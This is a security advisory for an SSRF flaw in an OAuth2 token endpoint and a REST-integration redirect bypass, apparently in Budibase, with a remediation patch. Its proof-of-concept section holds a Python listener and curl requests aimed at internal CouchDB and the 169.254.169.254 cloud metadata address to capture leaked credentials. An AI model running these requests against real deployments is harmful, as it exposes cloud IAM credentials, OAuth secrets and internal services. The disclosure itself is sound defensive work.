CVE-2026-48146

描述

### Summary The OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. ### Details **Vulnerable code — `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:** ```typescript async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetch(config.url, fetchConfig) // NO blacklist check! // ... } ``` **Safe wrapper used everywhere else — `packages/backend-core/src/utils/outboundFetch.ts`:** ```typescript export async function fetchWithBlacklist(url: string, opts?: RequestInit) { await blacklist.isBlacklisted(url) // Checks against internal IPs const response = await fetch(url, { ...opts, redirect: "manual" }) // Re-checks every redirect target } ``` **Where `fetchWithBlacklist` IS used (consistency gap proof):** - `automations/steps/discord.ts` — Discord webhook - `automations/steps/slack.ts` — Slack webhook - `automations/steps/make.ts` — Make.com integration - `automations/steps/n8n.ts` — n8n integration - `automations/steps/zapier.ts` — Zapier integration - `automations/steps/outgoingWebhook.ts` — Custom webhooks - Plugin download (GitHub, NPM) - Object store tarball downloads **Where it is NOT used:** - `sdk/workspace/oauth2/utils.ts:59` — OAuth2 token fetch ← **THIS VULNERABILITY** ### PoC ```bash # 1. Start SSRF listener python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'SSRF: {self.path} | Body: {body.decode()}') self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}') http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever() " & # 2. As builder, validate OAuth2 config pointing to internal service curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}' # Result: Listener captures POST with Authorization: Basic header containing credentials # The client_id and client_secret are leaked to the attacker-controlled URL # 3. Access internal CouchDB curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}' # Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable # 4. Access AWS metadata (in cloud deployments) curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}' ``` ### Additional SSRF Vector: REST Integration Redirect Bypass The REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: "follow"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`. **Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: "manual"` and re-checks every redirect target. ### Impact - **Internal service access** — CouchDB (default port 5984), Redis, internal APIs - **Cloud metadata exfiltration** — AWS/GCP/Azure IAM credentials via 169.254.169.254 - **Credential leakage** — OAuth2 client_id and client_secret sent as Basic auth to attacker URL - **Network reconnaissance** — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response) ### Remediation Replace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`: ```typescript import { fetchWithBlacklist } from "@budibase/backend-core/utils" async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetchWithBlacklist(config.url, fetchConfig) // ... } ``` Also fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.